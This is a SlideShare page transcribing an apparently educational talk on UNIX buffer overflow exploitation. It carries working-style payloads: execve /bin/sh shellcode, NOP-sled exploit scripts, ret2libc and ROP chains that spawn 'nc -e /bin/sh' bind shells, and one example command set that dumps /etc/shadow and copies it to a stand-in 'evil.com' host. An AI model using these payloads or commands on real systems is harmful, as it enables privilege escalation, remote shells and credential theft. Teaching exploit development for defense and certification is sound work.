KEMBAR78
Unix executable buffer overflow | PDF
Ammarit Thongthua ,CISSP CISM GXPN CSSLP CCNP, profile picture
Uploaded byAmmarit Thongthua ,CISSP CISM GXPN CSSLP CCNP
PDF, PPTX4,585 views

Unix executable buffer overflow

This document discusses various techniques for exploiting UNIX executable programs, including buffer overflow vulnerabilities. It begins with an introduction and outlines an agenda covering vulnerable UNIX applications, memory layout and stacks, buffer overflows, shellcode, and various protection mechanisms and bypass techniques. These include basic stack overflows, bypassing password protections, limited stack spaces, Ret-2-libc exploits, and return-oriented programming (ROP) chains to execute multiple commands. Demo exploits are proposed to show gaining root privilege on vulnerable applications.

Download as PDF, PPTX
1 / 148
2 / 148
3 / 148
4 / 148
5 / 148
6 / 148
7 / 148
8 / 148
9 / 148
10 / 148
11 / 148
12 / 148
13 / 148
14 / 148
15 / 148
16 / 148
17 / 148
18 / 148
19 / 148
20 / 148
21 / 148
22 / 148
23 / 148
24 / 148
25 / 148
26 / 148
27 / 148
28 / 148
29 / 148
30 / 148
31 / 148
32 / 148
33 / 148
34 / 148
35 / 148
36 / 148
37 / 148
38 / 148
39 / 148
40 / 148
41 / 148
42 / 148
43 / 148
44 / 148
45 / 148
46 / 148
47 / 148
48 / 148
49 / 148
50 / 148
51 / 148
52 / 148
53 / 148
54 / 148
55 / 148
56 / 148
57 / 148
58 / 148
59 / 148
60 / 148
61 / 148
62 / 148
63 / 148
64 / 148
65 / 148
66 / 148
67 / 148
68 / 148
69 / 148
70 / 148
71 / 148
72 / 148
73 / 148
74 / 148
75 / 148
76 / 148
77 / 148
78 / 148
79 / 148
80 / 148
81 / 148
82 / 148
83 / 148
84 / 148
85 / 148
86 / 148
87 / 148
88 / 148
89 / 148
90 / 148
91 / 148
92 / 148
93 / 148
94 / 148
95 / 148
96 / 148
97 / 148
98 / 148
99 / 148
100 / 148
101 / 148
102 / 148
103 / 148
104 / 148
105 / 148
106 / 148
107 / 148
108 / 148
109 / 148
110 / 148
111 / 148
112 / 148
113 / 148
114 / 148
115 / 148
116 / 148
117 / 148
118 / 148
119 / 148
120 / 148
121 / 148
122 / 148
123 / 148
124 / 148
125 / 148
126 / 148
127 / 148
128 / 148
129 / 148
130 / 148
131 / 148
132 / 148
133 / 148
134 / 148
135 / 148
136 / 148
137 / 148
138 / 148
139 / 148
140 / 148
141 / 148
142 / 148
143 / 148
144 / 148
145 / 148
146 / 148
147 / 148
148 / 148
UNIX EXECUTABLE EXPLOITATION Ammarit Thongthua <ShellCodeNoobx Es>
#whoami <Name> Ammarit Thongthua Mr. K ShellCodeNoob </Name> <Profile> PentestTeam leader in private company </Profile> FB : Ammarit Es Shellcodenoob
“There are some relationships between - Reverse Engineering - Buffer overflow - Shellcode They are the complement of each other” “Sleepy Kama” #Inspiration
Today, we will start with
AGENDA  Introduction  Vulnerable Unix executable  Memory Space and Stack Layout  Buffer Overflow  Unix application Basic Reverse Engineer  ShellCode  Protection vs Expliotation  Basic Stack without protection  Bypass password protection  Exploitto get root privilege  Limited Stack Space  StackGuard (Canary)  Non-Executable-Stack (NX)  ROP Chain  Address Space Layout Randomization (ASLR)  Defeat with static system library (kernel < 2.6.20 )  ASLR with removed Static system library  Defeat with application wrapping (kernel >= 2.6.20 )  Compare with windows exploitation
Chapter I “Vulnerable Unix Application”
VULNERABLE UNIX APPLICATION  Has permission “root” as user or group  SUID or SGID is set (Sting S at eXecute bit)  This 2 criteria provided privilege escalation to be root  list="$(find / -perm -4000 -o -perm -2000)";for i in $list; do ls -al $i; done  ls –R / | grep “wsr” | grep “root”
VULNERABLE UNIX APPLICATION
VULNERABLE UNIX APPLICATION  Use vulnerable input standard function  Ex: strcp(), gets(), sprintf (), vsprintf ()  They make the program can possibly segmentation fault or buffer overflow
Chapter II “Memory Address and Stack Layout”
MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Code Segment Data Segment DSS Segment Heap Stack
MEMORY ADDRESS AND STACK LAYOUT main () { int i = 0; checkpw (); } char pw[608];
MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Stack Int i = 0; ….. Previous Stacks Main() ESP
MEMORY ADDRESS AND STACK LAYOUT main () { int I = 0; checkpw (); } char pw[608];
MEMORY ADDRESS AND STACK LAYOUT main () { int I = 0; checkpw (); } char pw[608]; RP
MEMORY ADDRESS AND STACK LAYOUT 0xFFFFFFFF 0x00000000 Char pw[608]; Int i = 0; ….. Previous Stacks Main() checkpw() SFP RP Stack ESP
Chapter III “Stack buffer overflow”
BUFFER OVERFLOW  The situation when the data that input to the system is larger than the size of buffer that declare to be used AAAAAAAAAA....[607 of A]….AAAx00 SFP RP AAAAAAAAAA….[616 of A]….AAAAAAAAAAAAAAx00 SFP = 0x41414141 ***RP = 0x41414141 “Segmentation fault” “Illegal Instruction” SFP RP Ex: char pw[608];
“How can we detect buffer overflow in unix application?”
“Generally, we use manually test”
BUFFER OVERFLOW
“Better way, we use pattern test”
BUFFER OVERFLOW /usr/share/metasploit-framework/tools/pattern_create.rb 1000  Check buffer overflow position
BUFFER OVERFLOW
 Check buffer overflow position /usr/share/metasploit-framework/tools/pattern_offset.rb 41347541 BUFFER OVERFLOW
“What happen if we can over write Return Pointer?” “Can we control flow of instruction?”
“Yes”
BUFFER OVERFLOW AAAAAAAAAAAAA….[612 of A]….AAAAAAA SFP = 0x41414141 ***RP = 0x080484c7 “Segmentation fault” “Illegal Instruction” SFP RP 0x080484c7
BUFFER OVERFLOW
BUFFER OVERFLOW Demo #1 GDB and Bypass password protection
Chapter IV “Basic Shellcode”
“Imagine if we can control Return Pointer to our own Instruction” “So, we can control the whole system”
SHELL CODE [Malicious Machine OpCode] + AAAAAAAAAAAAAAA SFP = 0x41414141 ***RP = 0xFBFF0544 0xFBFF0544 0xFBFF0544 SFP RP  Attacker can control return pointer to run Malicious Machine OpCode that put to memory (Shell Code).  Insert shell code as a part of input to reduce the complexity of exploitation
SHELL CODE  Shell code is the code that attacker want the system run in order to operate the command as attacker need (create form assembly and convert to OpCode  Ex;  Open port for connection to that system with root privilege  Add user to the system  Run shell as root privilege  Shell code is written as Hexadecimal format
“What happen if we can make Return Pointer system_call /bin/sh by programrun as root ?”
“We will get shell prompt with root pri.”
SHELL CODE 31 C0 50 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 Assembly Code Op Code Shell Code : system_call (/bin/sh) /bin 0000 //sh 0000 $esp
SHELL CODE System_call(/bin/sh)Run as “root” Vulnerability program We get /bin/sh as root  RP
“How can we get shellcode ?”
 Where can we get shell code use to make exploit. ?  Create your own shell code (quite take time)  Use Metasploit to generate shell code  Metepreter  Search from internet  shell-storm.org/shellcode  packetstormsecurity.com  www.exploit-db.com/exploits SHELL CODE
“How can we manually create shellcode ?”
“Good news, you need to understand Assemble first !!”
https://defuse.ca/online-x86-assembler.htm#disassembly SHELL CODE
SHELL CODE
“How can we know what is shellcode do ?”
“Good news again, you need to understand Assemble first !!”
http://www2.onlinedisassembler.com/odaweb/ SHELL CODE
“Can you see something difference between Assembly from debugger and output from the webs?”
ASSEMBLY CODE From our debugger From our web disassembly
What’s wrong ?
Nothing wrong.. It’s just different instruction set
ASSEMBLY CODE From our debugger From our web disassembly AT&T base instruction Intel base instruction
Chapter V “Make exploit payload”
EXPLOIT PAYLOAD [Shell Code] + [PADDING make size to 612 ] SFP = 0x41414141 ***RP = 0xBFFF528 0xBFFF528 SFP RP Payload = Shellcode + PAD + RP 612 bytes 4 bytes 0xBFFF528 Example:
 Where is the shell code start location (For this example case)?  Need to reverse engineering and debug EXPLOIT PAYLOAD
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “x20xf5xffxbf” #0xBFFF520 (Little Endean!!!) PAYLOAD = scode + “A”*528 + RP print PAYLOAD ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
“Let’s try our payload”
EXPLOIT PAYLOAD  Sometime result of our exploit is crash !!!
“What’s wrong in our PAYLOAD ^^? ”
EXPLOIT PAYLOAD  Memory on address when debug and run exploit payload may a bit shift [Shell Code] + [PADDING make size to 612 ] 0xBFFF528
“How can we solve this problem ?”
[ Shell Code ] + [ 577 Byte of PADDING ] 0xBFFF528 EXPLOIT PAYLOAD [400B. Landing space]+[Shell Code]+ [177 B. PADDING ]0xBFFF540 NOP (x90) = Do nothing
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “x58xf5xffxbf” # 0xBFFF558 Exp = “x90”*400 + scode + “A”*128 + RP ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app EXPLOIT PAYLOAD
“Let’s try our improved payload”
EXPLOIT CODE  When exploit successfully
EXPLOIT CODE Demo #2 Exploit to get root privilege
Chapter VI “Buffer overflow in limited stack space”
LIMITED STACK SPACE x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a SFP = 0x12237657 ***RP = 0x4a6ef36f SFP RP Payload =x31x57xdfx45x98xcex55xedx78xedxedx57x76x23x12x6fxf3x6ex4a “Segmentation fault” “Illegal Instruction”
“How can we solve this problem”
LIMITED STACK SPACE [ NOP Space (NOP Sledding)] + [S h e l l C o d e ] AAAAAAAAAAAAA…[612 of A]…AAAAAAAA SFP = 0x41414141 ***RP = 0xBFFFxxxx ??? (We don’t know yet) 0xFBFFxxxx 0xFBFFxxxx SFP RP  If size of buffer is limited, we need to put some shell code some where in stack and control RP to run shell code
LIMITED STACK SPACE ***RP = 0xBFFFF7B0
Shellcode = “x31xc0x50x68x2fx2fx73x68x68x2fx62x69" "x6ex89xe3x50x53x89xe1xb0x0bxcdx80” RP = “xb0xf7xffxbf” # 0xBFFF520 Exp =`python c- ‘print “A”*612` + RP + =`python c- ‘print “x90”*400` + scode ----------------------------------------------------------------------------------------------- user@host:$ python exp.py | ./vul_app LIMITED STACK SPACE
 When exploit successfully LIMITED STACK SPACE
Demo #3 Exploit to get root privilege With Limited Stack Space LIMITED STACK SPACE
SUMMARY Grant()main()AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA RP x90 x90x90x90x90x90x90 + [Shell Code]AAAAAAAAAAAAAAAAAAAAAAAAAAA RP AAAAA  Bypass password protection  Buffer overflow to run shellcode to get root privilege  Buffer overflow to run shellcode with limited Stack Space
“Is it easy like this in real life?”
“No..”
Chapter VII “Ret-2-libc”
“What is Ret-2-libc ?”
 Characteristic of vulnerable program  Has set SUID, GUID  Can Overflow  Use Libc. BYPASS LIMITED STACK SPACE BY RET-2-LIBC
“What happen if we jump RP and run?” system_call nc –l –p 9999 –e /bin/sh
 Fool program to make system call with evil command  System_call nc -l -p 9999 -e /bin/sh AAAAAAAAAAAAA If Arg = “nc -l -p 9999 -e /bin/sh” and Program run as “root” So, “nc –l –p 9999 –e /bin/sh” run as “root” SFP RP Argsystem BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Find location of “system” call function BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Create “evil” Argument as system global variable AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 Result BYPASS LIMITED STACK SPACE BY RET-2-LIBC
 When exploit successfully BYPASS LIMITED STACK SPACE BY RET-2-LIBC
Demo #4 Exploit to get root privilege with Ret-2-libc style BYPASS LIMITED STACK SPACE BY RET-2-LIBC
Chapter VIII “ROP Chaining”
 The limitation of Ret-2-Libc is run only 1 command a time to exploit AAAAAAAAAAAAA SFP RP = Argsystem xf0x4execxb7 x98xfaxffxbfNC = ROP CHAIN
“It’s better if we can run more than one commandin one exploit”
“Let improve Ret-2-Libc to ROP Chaining”
AAAAAAAAAAAAA SFP RP = Arg1system xf0x4execxb7 x98xfaxffxbfNC = ROP CHAIN RP
AAAAAAAAAAAAA Arg1system ROP CHAIN RP
Arg1system ROP CHAIN RP
Arg1system ROP CHAIN RP
Arg1system ROP CHAIN RP Arg2system
ROP CHAIN Arg1system system Arg2RP
ROP CHAIN Arg1system system Arg2RP
ROP CHAIN Arg1system system Arg2RP system Arg3RP
ROP CHAIN Arg1system system Arg2RP system Arg3RP
ROP CHAIN Arg1system system Arg2 system Arg3 Argn-2system system Argn-1 system Argn
export ARG1=“unshadow /etc/passwd /etc/shadow > /output.txt” export ARG2=“scp haker@evil.com:output.txt /home/haker” . . . . export ARGn=“nc –l –p 4444 –e /bin/sh” ROP CHAIN
“How can we chain them ?”
“We need POP POP RET” ROP Gadget
Arg1system ROP CHAIN RP Arg2system POP POP RET
ROP CHAIN POP POP RET Arg1system RP Arg2system
ROP CHAIN
ROP CHAIN POP POP RET xc5x85x48x80 Arg1system RP Arg2system
ROP CHAIN Arg1system system Arg2 system Arg3 Argn-2system system Argn-1 system Argn RP = xc5x85x48x80 (POP|POP|RET) RP RP RP RP RP
ROP CHAIN python -c 'print "A"*12 + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg1]" + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg2]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg3]“ + "PADS" + "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.arg4]“ + "PADS" + . . . "x[syscall.addr.]" + "x[P/P/R addr.]" + "x[addr.argN]“ + "PADS" +
Chapter IIX “Stack Guard (Canary)” Cookie of death
STACK GUARD (CANARY)  Protection mechanism place in stack (8 byte) to detect the overflow and preventing to control RP  Need to include when we compile program  gcc -fstack-protector code.c -o myprogram  If canary overwritten the program will be terminated  Type of Canary  NULL canary (0x00000000)  Terminator canary (0x00000aff – 0x000aff0d)  Random canary (Unpredicted 4 byte) AAAAAAAAAAAAAAAAAAAA AAAA AAAA AAAA SFP RPCanary
 For Null canary and Terminator canary can be defeated by “Canary repaired”  NULL canary only app use gets() function AAA…AAA00000000AAAA[RP]x90x90x90x[Shellcode]x0a  Terminator canary (always 0x00000aff)  app use gets() function  app use strcpy() function and need more than 1 arg AAA…AAAAAAA0affAAAA[RP]x90x90x90x[Shellcode]00 BBB…BBBBB00 CCC…CCC00 AAA…AAA00000affAAAA[RP]x90x90x90x[Shellcode] STACK GUARD (CANARY) DEFEAT Arg1= Arg2= Arg3=
STACK GUARD (CANARY) DEFEAT EXAMPLE  Find opportunity to exploit
STACK GUARD (CANARY) DEFEAT EXAMPLE  Find opportunity to exploit Canary value = 0x00000aff (It is a terminator canary ^_^)
STACK GUARD (CANARY) DEFEAT EXAMPLE  Run exploit
Demo #5 Exploit to get root privilege with canary repaired STACK GUARD (CANARY) DEFEAT
Chapter IX “ASLR”
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR)  Technique use prevent an attacker jumping to a particular exploited code in memory by random the virtual address in every runtime.
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) x90x90x90 x90x90 + [Shell Code] + AAAAAAAAAAAAAAAAAAAAA RP……. Random is 2 So, Possibility =1/2 or 0.000001 20 20 How can we increase possibility to jump to shell code ?
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD AAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x[ shell code ]……. JMP ESP esp  If OS kernel has some static lib kernel < 2.6.20. Use JMP ESP (Trampoline) instruction in that static lib to bring RP to shell code INC EAX ADD EBS, EBP ….
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD  If OS kernel has not static lib (kernel >= 2.6.20 ), need to write application to call vulnerable application to limit random address space (App wrap up) AAAAAAAAAAAAAAAAAAAAAAAAA RP /x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x90/x90/x90/x90/x90 /x90/x90/x90/x90/x[ shell code ] Check current ESP value and Set RP = ESP + [vul app buffer]
 Wrap up app ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD
ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR) DEFEAT METHOD  Result
Chapter X “Compare Windows & unix exploit”
DIFFERENCE OF UNIX AND WINDOWS APPLICATION EXPLOIT  Unix application directly communicate to kernel  Window application must communicate through Window API (Not directly communicate to kernel) . It’s make more difficult to exploit App Kernel App KernelAPI
WINDOW SHELLCODE  Static Shellcode (Example for window XP)  Static or fix memory address of windows API that use in exploit code (Specific OS version and SP)  Find address of WinExec() > use to execute cmd / app  Find address of ExitProcess() > use to clear register  Portable Shellcode  Dynamically find memory address of need window API by using 2 useful windows API  LoadLibraryA() to get Hmodule (DLL's base address )  GetProcessAddress() to get real address of function  Get address of WinExec()  Get address of ExitProcess()
 Normally, virus use LoadLibraryA() and GetProcessAddress() to make portable expliot WINDOW SHELLCODE
WINDOW SHELLCODE  Static Shellcode (Example for window XP)
WINDOW SHELLCODE  Static Shellcode (Example for window XP) xebx1bx5bx31xc0x50x31xc0x88x43x59x53xbbx4dx11x86x7c xffxd3x31xc0x50xbbxa2xcax81x7cxffxd3xe8xe0xffxffxffx63 x61x6cx63x2ex65x78x65
BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
 Found the vulnerability of application BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
 Input to the system is larger than the size of buffer that declare to be used AAAABBBBCCCC.....KKKKLLLLMMMM SFP RP char local[49]; BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION AAAABBBBCCCC.....KKKKLLLLMMMM NNNN OOOOPPPP ESP
 Find address to jump to exploit code BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION x90x90x90x90…[shellcode]…AAAAAAAA RP * RP = “x40xffx13
 Exploit Successful BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION Successfully exploit. But calc.exe run as your permission not “Administrator”
 Imagine, if some windows application provide network service like FTP that start by “SYSTEM” account and have buffer overflow vulnerability (Ex: WarFTP app) BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION FTP 192.168.1.2 USER AAAAAA….AAAA $JMP_ESP x90x90x90x90 SYSCODE RP ESP
 After connect back to open port, user/password to the system to confirm that we successfully get system privilege BASIC STACK BUFFER OVERFLOW ON WINDOWS APPLICATION
 Rule of permission gaining in Windows exploit  If we exploit the application, we will get the permission as who start or run the application  If application or service start or run by “Administrator” or “SYSTEM” account, we will gain “Administrator” or “SYSTEM” privilege  All windows vulnerability that attacker use to compromise OS occurred form successfully exploit “SYSTEM” service BASIC WINDOWS EXPLOITATION
 DLL injection exploitation  SafeSeh (Structured Exception Handling) and Abuse  Windows ASLR and how to defeat  Windows DEP and how to defeat  GS protection in Windows application and how to defeat  Advance pivoting attack technique  HEAP overflow / Heap Spray / Use After free “Unfortunately, We have not enough time to walk through” MORE INTERESTING TOPIC FOR WINDOWS
 CoreLAN team : https://www.corelan.be  NetSEC : http://netsec.ws/?p=180  http://www.cis.syr.edu/~wedu/education/buffer_ov erflow.html LEARNING SITE
REFERENCE  SANS 660 Advanced Penetration Testing, Exploit Writing, and Ethical Hacking  GIAC GXPN : Exploit Researcher and Advanced Penetration Tester  Protecting Against Address Space Layou Randomization (ASLR) Compromises and Return-to- Libc Attacks Using Network Intrusion Detection Systems. David J. Day, Zheng-Xu Zhao, November 2011, Volume 8, Issue 4, pp 472-483  Cowan, C. Buffer Overflow Attacks. StackGuard:Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks. 1 October 2008.  Defeating PaX ASLR protection. Durden, T. 59, s.l. :Phrack, 2002, Vol. 12.
Unix executable buffer overflow

More Related Content

PDF
Chromeでjavascriptデバッグ！まず半歩♪
byYuji Nojima
 
PDF
Okta docs
bySam Bauch
 
PDF
Scaling Django with gevent
byMahendra M
 
PPTX
Unirest Java Tutorial | Java Http Client
byrahul patel
 
PDF
[수정본] 우아한 객체지향
byYoung-Ho Cho
 
PDF
The 8 Layers of the OSI.pdf
byssuserd67eb9
 
PDF
IRJET- Sentiment Analysis of Customer Reviews on Laptop Products for Flip...
byIRJET Journal
 
PPT
Live Memory Forensics on Android devices
byNikos Gkogkos
 
Chromeでjavascriptデバッグ！まず半歩♪
byYuji Nojima
 
Okta docs
bySam Bauch
 
Scaling Django with gevent
byMahendra M
 
Unirest Java Tutorial | Java Http Client
byrahul patel
 
[수정본] 우아한 객체지향
byYoung-Ho Cho
 
The 8 Layers of the OSI.pdf
byssuserd67eb9
 
IRJET- Sentiment Analysis of Customer Reviews on Laptop Products for Flip...
byIRJET Journal
 
Live Memory Forensics on Android devices
byNikos Gkogkos
 

Viewers also liked

PDF
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
byCode Engn
 
PPTX
Root the Box - An Open Source Platform for CTF Administration
byChristopher Grayson
 
PDF
ecdevday1
byKenu, GwangNam Heo
 
PDF
Storm Worm - Malware 2.0
byKurt Baumgartner
 
PDF
Manual Unpacking + By Re.M J Nop790
byguest747ad9d
 
PDF
kkMemory management
bypradeep goswami
 
PDF
Inc0gnito fuzzing for_fun_sweetchip
bysweetchip
 
PDF
Talking about exploit writing
bysbha0909
 
PDF
Shellcode Analysis - Basic and Concept
byJulia Yu-Chin Cheng
 
PDF
Hacking school computers for fun profit and better grades short
byVincent Ohprecio
 
PDF
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
byMichele Orru
 
PDF
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
byHirotaka Kawata
 
DOCX
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
byakjsk10
 
PDF
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
byFFRI, Inc.
 
PDF
Purchasing power parity a unit root, cointegration and var analysis in emergi...
byGiwrgos Loukopoulos
 
PPTX
How to create a jQuery Modal Window
byLikno Software
 
PDF
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
bystable|kernel
 
PDF
Design patterns
byJason Austin
 
DOC
Lampiran unit root test
byChenk Alie Patrician
 
PPTX
Creational pattern
byHimanshu
 
[2007 CodeEngn Conference 01] amesianx - Art of Hooking
byCode Engn
 
Root the Box - An Open Source Platform for CTF Administration
byChristopher Grayson
 
ecdevday1
byKenu, GwangNam Heo
 
Storm Worm - Malware 2.0
byKurt Baumgartner
 
Manual Unpacking + By Re.M J Nop790
byguest747ad9d
 
kkMemory management
bypradeep goswami
 
Inc0gnito fuzzing for_fun_sweetchip
bysweetchip
 
Talking about exploit writing
bysbha0909
 
Shellcode Analysis - Basic and Concept
byJulia Yu-Chin Cheng
 
Hacking school computers for fun profit and better grades short
byVincent Ohprecio
 
Rooting your internals - Exploiting Internal Network Vulns via the Browser Us...
byMichele Orru
 
バイナリより低レイヤな話 (プロセッサの心を読み解く) - カーネル/VM探検隊@北陸1
byHirotaka Kawata
 
EQUITY MARKET INTEGRATION IN SELECTED MARKETS: EVIDENCE FROM UNIT ROOT AND CO...
byakjsk10
 
A Hypervisor IPS based on Hardware Assisted Virtualization Technology
byFFRI, Inc.
 
Purchasing power parity a unit root, cointegration and var analysis in emergi...
byGiwrgos Loukopoulos
 
How to create a jQuery Modal Window
byLikno Software
 
Connect.Tech- Enhancing Your Workflow With Xcode Source Editor Extensions
bystable|kernel
 
Design patterns
byJason Austin
 
Lampiran unit root test
byChenk Alie Patrician
 
Creational pattern
byHimanshu
 

Similar to Unix executable buffer overflow

PPTX
Tranning-2
byAli Hussain
 
PDF
Buffer overflow tutorial
byhughpearse
 
PPT
Automate Payload Generation for a Given Binary and Perform Attack
byAbhishek BV
 
PDF
Exploitation Crash Course
byUTD Computer Security Group
 
PDF
TDOH x 台科 pwn課程
byWeber Tsai
 
PDF
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
byRodolpho Concurde
 
PDF
From SEH Overwrite with Egg Hunter to Get a Shell!
byRodolpho Concurde
 
PDF
Low Level Exploits
byhughpearse
 
PDF
Hacklu11 Writeup
bynkslides
 
PPT
Dau Hoang - Buffer Overflows 8980 for Stu
byQueenNicki1
 
PPTX
Anatomy of a Buffer Overflow Attack
byRob Gillen
 
PPTX
Buffer Overflow by SecArmour
bySec Armour
 
PPTX
antoanthongtin_Lesson 3- Software Security (1).pptx
by23162024
 
PPTX
Buffer overflow attacks
byKapil Nagrale
 
PPTX
Operating system enhancements to prevent misuse of systems
byDayal Dilli
 
PDF
Dive into exploit development
byPayampardaz
 
PPTX
Linux binary analysis and exploitation
byDharmalingam Ganesan
 
PPTX
Smashing The Stack
byAbhishek BV
 
PDF
A CTF Hackers Toolbox
byStefan
 
PDF
smash the stack , Menna Essa
byCATReloaded
 
Tranning-2
byAli Hussain
 
Buffer overflow tutorial
byhughpearse
 
Automate Payload Generation for a Given Binary and Perform Attack
byAbhishek BV
 
Exploitation Crash Course
byUTD Computer Security Group
 
TDOH x 台科 pwn課程
byWeber Tsai
 
From SEH Overwrite with Egg Hunter to Get a Shell_by_RodolphoConcurde
byRodolpho Concurde
 
From SEH Overwrite with Egg Hunter to Get a Shell!
byRodolpho Concurde
 
Low Level Exploits
byhughpearse
 
Hacklu11 Writeup
bynkslides
 
Dau Hoang - Buffer Overflows 8980 for Stu
byQueenNicki1
 
Anatomy of a Buffer Overflow Attack
byRob Gillen
 
Buffer Overflow by SecArmour
bySec Armour
 
antoanthongtin_Lesson 3- Software Security (1).pptx
by23162024
 
Buffer overflow attacks
byKapil Nagrale
 
Operating system enhancements to prevent misuse of systems
byDayal Dilli
 
Dive into exploit development
byPayampardaz
 
Linux binary analysis and exploitation
byDharmalingam Ganesan
 
Smashing The Stack
byAbhishek BV
 
A CTF Hackers Toolbox
byStefan
 
smash the stack , Menna Essa
byCATReloaded
 

Recently uploaded

PDF
“Toward Hardware-agnostic ADAS Implementations for Software-defined Vehicles,...
byEdge AI and Vision Alliance
 
PPTX
Top Trends in Kubernetes Security: TalosCon 2025
byCheryl Hung
 
PDF
Data Structure - 12 Graph
byAndiNurkholis1
 
PDF
What's New? ThousandEyes Features and Highlights: October 2025
byThousandEyes
 
PDF
Application Monitoring and Observability: Elastic Stack Solution for Producti...
byPattabhi Amperayani
 
PPTX
Session 6 Specialized AI Associate Series: The GenAI Experience in UiPath Doc...
byDianaGray10
 
PDF
Planetek Italia Corporate Profile brochure
byPlanetek Italia Srl
 
PDF
Fairness and Bias in AI Ethics and Explainability
byShiwani Gupta
 
PDF
From Bots to Brains: Getting Started with Agentic Automation in UiPath
byUiPathCommunity
 
PDF
AGV PROTOCOL BRAND KIT COMPLETE VIEW.pdf
byfagbolade
 
PDF
Dragino商品カタログ 2025.7 LoRaWAN・NB-IoT・LTE-M(LTE Cat.M1)対応センサーリスト
byCRI Japan, Inc.
 
PDF
Session 4 - Specialized AI Associate Series: UiPath Document Understanding O...
byDianaGray10
 
PDF
Agentic AI Guide for Enterprise Use-cases
byDebmalya Biswas
 
PDF
Cassandra vs. ScyllaDB: Evolutionary Differences
byScyllaDB
 
PDF
Milvus Community Meetup SF (Oct 21, 2025)
byZilliz
 
PDF
Ethical Initiatives in AI and accountability.pdf
byShiwani Gupta
 
PDF
“Depth Estimation from Monocular Images Using Geometric Foundation Models,” a...
byEdge AI and Vision Alliance
 
PDF
Morgenbooster: Navigating Ai Criticism with Systems Thinking
by1508 A/S
 
PDF
Airtable Building Semantic Search with Milvus
byZilliz
 
PDF
The Gory Details of a Full-Featured Userspace CPU Scheduler by Avi Kivity
byScyllaDB
 
“Toward Hardware-agnostic ADAS Implementations for Software-defined Vehicles,...
byEdge AI and Vision Alliance
 
Top Trends in Kubernetes Security: TalosCon 2025
byCheryl Hung
 
Data Structure - 12 Graph
byAndiNurkholis1
 
What's New? ThousandEyes Features and Highlights: October 2025
byThousandEyes
 
Application Monitoring and Observability: Elastic Stack Solution for Producti...
byPattabhi Amperayani
 
Session 6 Specialized AI Associate Series: The GenAI Experience in UiPath Doc...
byDianaGray10
 
Planetek Italia Corporate Profile brochure
byPlanetek Italia Srl
 
Fairness and Bias in AI Ethics and Explainability
byShiwani Gupta
 
From Bots to Brains: Getting Started with Agentic Automation in UiPath
byUiPathCommunity
 
AGV PROTOCOL BRAND KIT COMPLETE VIEW.pdf
byfagbolade
 
Dragino商品カタログ 2025.7 LoRaWAN・NB-IoT・LTE-M(LTE Cat.M1)対応センサーリスト
byCRI Japan, Inc.
 
Session 4 - Specialized AI Associate Series: UiPath Document Understanding O...
byDianaGray10
 
Agentic AI Guide for Enterprise Use-cases
byDebmalya Biswas
 
Cassandra vs. ScyllaDB: Evolutionary Differences
byScyllaDB
 
Milvus Community Meetup SF (Oct 21, 2025)
byZilliz
 
Ethical Initiatives in AI and accountability.pdf
byShiwani Gupta
 
“Depth Estimation from Monocular Images Using Geometric Foundation Models,” a...
byEdge AI and Vision Alliance
 
Morgenbooster: Navigating Ai Criticism with Systems Thinking
by1508 A/S
 
Airtable Building Semantic Search with Milvus
byZilliz
 
The Gory Details of a Full-Featured Userspace CPU Scheduler by Avi Kivity
byScyllaDB
 

Unix executable buffer overflow

  • 1.
  • 2.
